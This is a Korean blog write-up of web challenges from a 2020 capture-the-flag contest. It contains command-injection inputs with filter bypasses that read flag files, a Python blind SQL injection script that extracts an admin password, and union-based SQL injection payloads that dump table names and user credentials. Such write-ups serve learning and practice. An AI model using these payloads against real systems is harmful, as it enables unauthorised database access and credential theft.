CTF

[CTF] 제 2회 JBU-CTF WriteUp - WEB 문제

9ucc1 2020. 11. 13. 17:10
반응형

팀명 : Cbar=True, 닉네임 : w3bh4ck3r

순위 : 4위

 

36시간동안 열심히 풀었지만, 플래그 키퍼로 인해 4위를 하게되었다. 

<너무 간단한 문제는 제외한 WriteUp>


[WEB] Fight_The_Aliens[100] : scpCTF{E4r7hi4n_N3v3r_L053}

아래 사진과 같이 마우스 커서를 외계인이 따라다니는 문제이다.

외계인 사진때문에 달이 클릭되지 않는다.

외계인 사진을 찾아서 지워버렸다.


[WEB] Command Injection[100] : scpCTF{Y0u_fol1ow3d_w3ll}

문제사이트에 들어가 입력하라는 대로 입력해보았다.

친절하게 설명해주신다. 소스코드까지 보여주신다.

 ; ls -al *

입력해서 현재 위치의 모든 폴더를 열어보았다.

보아하니 ./a/flag.txt 파일이 있다. cat 명령여를 이용하여 파일을 출력시켜보았다.

; cat ./a/flag.txt


[WEB] BALANCE GAME[150] : scpCTF{I_l1k3_m1n7_ch0c0}

사이트에 들어가니 시작버튼이 보였다. 

눌렀다.

둘 중 하나의 버튼을 눌러야 한다. 개발자 도구를 잘 보라고 해서 봤다.

주석으로 된 플래그의 앞부분을 찾을 수 있었고, 이 문제가 어떤식으로 구성되어있을지 알게되었다.

플래그 앞부분을 메모장에 옮겨두었다. 

a 태그를 눌렀을 때 이동하는 주소를 보면 again.html / r2.php 가 있다.

다음 단계로 넘어가려면 당연히 r2.php를 누른다.

다음문제는 쿠키를 잘 보라고 한다.

플래그의 중간부분인 것 같다. 메모장에 옮겨두었다.

토맛 토마토를 선택하고 다음 라운드로 넘어간다.

소스 패널을 보니 system 폴더 안에 사진 파일이 하나 있었다

메모장에 옮기고 

따뜻한 파인애플을 눌러서 다음라운드

console 에서 덧셈을 시키는데 귀찮아서 그냥 메모장에 7_ch 를 옮겨 적었다.

오이 아이스크림을 눌러 다음라운드

첫번째 라운드와 마찬가지로 flag 일부가 주석처리되어 나와있었다. 

지금까지 메모장에 적어둔 글자 조합하면 flag가 나온다.


[WEB] 방탈출[200] : scpCTF{C4ptur3_th3_k3y}

으스스한 분위기 속

숨은 플래그? -> 낚시였음

낚시인줄 알고 속는김에 인증해봤는데 correct.


[WEB] (๑˃̵ᴗ˂̵)[250] : scpCTF{wPSA_aeimqu_asCDW}

find {object} 라는 alert 창이 뜬다

크롬 개발자툴로 소스코드를 확인하는데 난독화된 javascript 코드가 보였다. 

이 난독화 방식은 aaencode 이다. 바로 서칭으로 decoder를 찾아냈다.

cat-in-136.github.io/2010/12/aadecode-decode-encoded-as-aaencode.html

 

aadecode - Decode encoded-as-aaencode JavaScript program. ['_']

aadecode - Decode encoded-as-aaencode JavaScript program. (゚Д゚) ['_'] Enter ...

cat-in-136.github.io

FLAG 형식만 보고 바로 달려가서 인증했지만, 중간에 {object} 라는 변수가 들어가는 것이였다.

var object 부터 밑부분을 복사해서 개발자도구 console 에서 붙여넣었다.


[WEB] 청기백기[200] : scpCTF{1_L1K3_BLUE}

소스코드에 주석으로 문제가 나와있었고, 일일이 계산해보니 청기 : 6, 백기 : 801 이여야 한다.

소스코드를 보니 청기와 백기의 값은 input 태그의 value 값이고 form 태그의 post 방식으로 전송이 된다.

그래서 form 형식에 맞게 submit 버튼을 추가했다.

청기의 value 는 6으로, 백기의 value는 801로도 설정해주었다.


[WEB] 게시물의 행방[250] : scpCTF{Y0u'r3_4_9r347_W3b_H4ck3r}

카페에 접속한다고 한다.

익명 게시판이 수상해 보였다. 

글 하나가 존재했고, 백업파일이 존재한다고 정말 상세히 알려주고있다.

혹시 Path Traversal 취약점이 발생하지 않을까 해서 url을 ~~~/posts 라고 입력해보았다.

( Path Traversal : 폴더 명에 접근하여 접근이 가능한 경우 파일목록이 출력되는 취약점 )

취약점 발견 후 flag.txt 를 찾으러 여행을 떠났다.

Backup 폴더 안으로 들어가서 수상한 것들을 모두 찾아보았다. 

Del_2.html 글에서 3번 게시물에 플래그가 있다고 해서 3번게시물(Del_1.html)의 맨 밑으로 내렸다.


[WEB] 잠만 이거 A+ 각인데![500] : scpCTF{asd2a1_ASDW_21ddwqw}

SQL Injection 을 이용해서 로그인 우회하는 문제인 듯 보였다.

id는 admin이라고 하니 pw 부분만 우회를 해주었다.

correct id but... 이라는 문구만 계속 뜬다. 

blind SQL Injection 을 통해 password를 추출해야겠다고 생각했다. 

import requests
stop = False
an = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@$^=-_.,%26*()/?{}[]"
fail = ['ID: <input name="id"></p>','<p>PW: <input name="pw"></p>','<input type="submit" value="로그인">']
pw = ""
url = "http://13.209.119.158:12376/?id="
for i in range(100):
    for j in an:
        url = "http://13.209.119.158:12376/?id=' or id='admin' and ascii(subString(pw, "+ str(i+1) +", 1)) = ascii('" + str(j) + "') -- -"
        print(pw+j)
        res = requests.get(url)
        if (fail[0] not in res.text and fail[1] not in res.text and fail[2] not in res.text) or "correct id but" in res.text:
            pw += j
            break
        if j == ']':
            stop = True
    if stop:
        break

print(pw)

대소문자를 구분하지 않게 코드를 짰다가 한참을 애먹었다.

ascii 값으로 비교하여 대소문자를 구분해준다.

패스워드는 sdcmk134SCK123cCK31 인 것을 알 수 있다.

로그인을 해보면


[WEB] 로그인[100] : scpCTF{My_dream_is_C00KI3}

이 문제도 id:admin 이 주어져 있어서 SQL Injection 일 거라고 생각했다. 

주석으로 알 수 없는 문자열이 적혀있어, 비밀번호라고 생각했다.

첫 번째 주어진 힌트를 따라 로그인 input 태그 말고 다른 것을 찾아보았다.

id와 password 라는 쿠키가 있었다. id : admin, pw : 0etOA-!hoJ

어떻게 푸는지 전혀 감이 안왔었지만, 두 번째 힌트가 주어지고 나서 바로 풀었다.

Ascii85로 주석처리 되어있던 문자열을 디코딩 하면 문제가 풀린다.


[WEB] Command Injection 2 [400] : scpCTF{Y0u_m4s7er_c0mm4nd1nj3c7ion}

들어가보니 command injection 1과 똑같은 화면이 보였고, 명령어가 실행되는지 ; ls -al 를 입력해보았다.

하지만 아무 반응값이 없었고, 한동안 해메게 되었다. 

필터링이 되어있다고 하니까 ;(세미콜론) 이 필터링 되어있는건 아닌가 해서 && ls -al를 사용해보았다. 

뭔가가 나오긴 하는데 내가 입력한 명령어는 아니였다. (-al 이라는 옵션이 적용되지 않았다)

한참을 방황하다 공백(space - %20) 과 ls 명령이 필터링 되어있는 것을 알게 되었다. 

command injection 공백 우회하는 방법은 다음과 같다. 

난 이중, IFS( Internal Field Separator ) 라는 word splitting 방법을 사용하였다. 

ls 대신 echo * 를 써도 되지만, && 연산자를 사용했을 때 기본 목록이 출력되는 것으로 봐서 php 코드가

command = "ls {유저인풋}"; 으로 되어있는 것 같았다.

혹시몰라 확인해보기 위해서 ${IFS}-al 을 입력해보았다.

역시 예상대로 ls 뒤에 유저 인풋이 들어가는 형태이다. (-al 옵션이 실행됨)

구조를 알았으니 공격을 해보자. 

${IFS}-al${IFS}* 으로 현재 위치에 있는 모든 디렉터리를 열어보자.

./a/ 폴더에 flag.txt 라는 파일을 볼 수 있었다. cat 문자도 필터링 되니 /bin/cat 파일을 직접 실행해주자

cat이 필터링 되는데 어떻게? /bin/c?t 으로 실행시키면 된다.

&&/bin/c?t${IFS}./a/flag.txt


[WEB] BTS [300] : scpCTF{J1m1n_F4CkL0v3_Pv2p1e}

Union SQL Injection 을 사용해서 로그인을 우회했다. 

ID : ' union select 1,2,3 # / PW : 아무글자

게시판 목록이 나와서 글을 확인하려 했지만

권한이 없다고 나온다. 

혹시 소스코드에 게시물 내용이 나올지 몰라서 burp suite 를 이용했다.

Repeater를 이용해서 요청을 보내보았다.

게시물의 내용이 보인다. 이런식으로 글 내용을 모두 확인했더니

scpCTF{SjFtMW4=, _S4PxY0i3_, :j+U50kC} 이렇게 3개의 문자열이 나온다.

암호화가 되어있는 것 같아 cryptii.com/pipes/rot13-decoder 에서 디코딩한다.

 

SjFtMW4= : base64 인코드

_S4PxY0i3_ : ROT13 인코드

:j+U50kC : Ascii85 인코드

모두 디코딩 해주면 플래그가 나온다. 

scpCTF{J1m1n_F4CkL0v3_Pv2p1e}


[WEB] 쪽지시험 [300] : scpCTF{Y0u_g0t_4n_A_gr4d3}

게시판으로 정보를 찾으러 떠났다.

글이 하나밖에 없었고, 내용도 별거 없었다.

눈에 보이는건 게시판 형식과 검색기능이다. 

검색 기능을 이용해서 게시판에 UNION SQL INJECTION 을 해보면 DB를 털 수 있을 것이다.

' union select 1,2,3,4,5,6 #

 글 하나가 더 생겼고, 1번, 2번, 4번, 5번, 6번 컬럼이 페이지에 실질적으로 노출이 되는 컬럼이다.

' union select 1,@@version,3,4,5,6 # ( 버전확인 - 서버의 버전에 따라 공격법이 달라진다 )

버전이 5.0 이상이므로 information_schema 를 이용한 쿼리를 작성해야 한다.

' union select 1,table_name,3,4,5,6 from information_schema.tables #

엄청나게 많은 테이블이 존재했지만 그중에서도 가장 눈에 띄는 테이블은

마지막에 있는 member 테이블.

' union select 1,column_name,3,4,5,6 from information_schema.columns where table_name='member' #

member 테이블의 컬럼에는 id 와 pass 가 있는 것을 알 수 있다. 

id 와 pass 에 해당되는 정보를 뽑아와보자.

' union select id,pass,3,4,5,6 from member #

id : sjyoo, pw : Im a professor

로그인을 하면 플래그가 나온다

 

반응형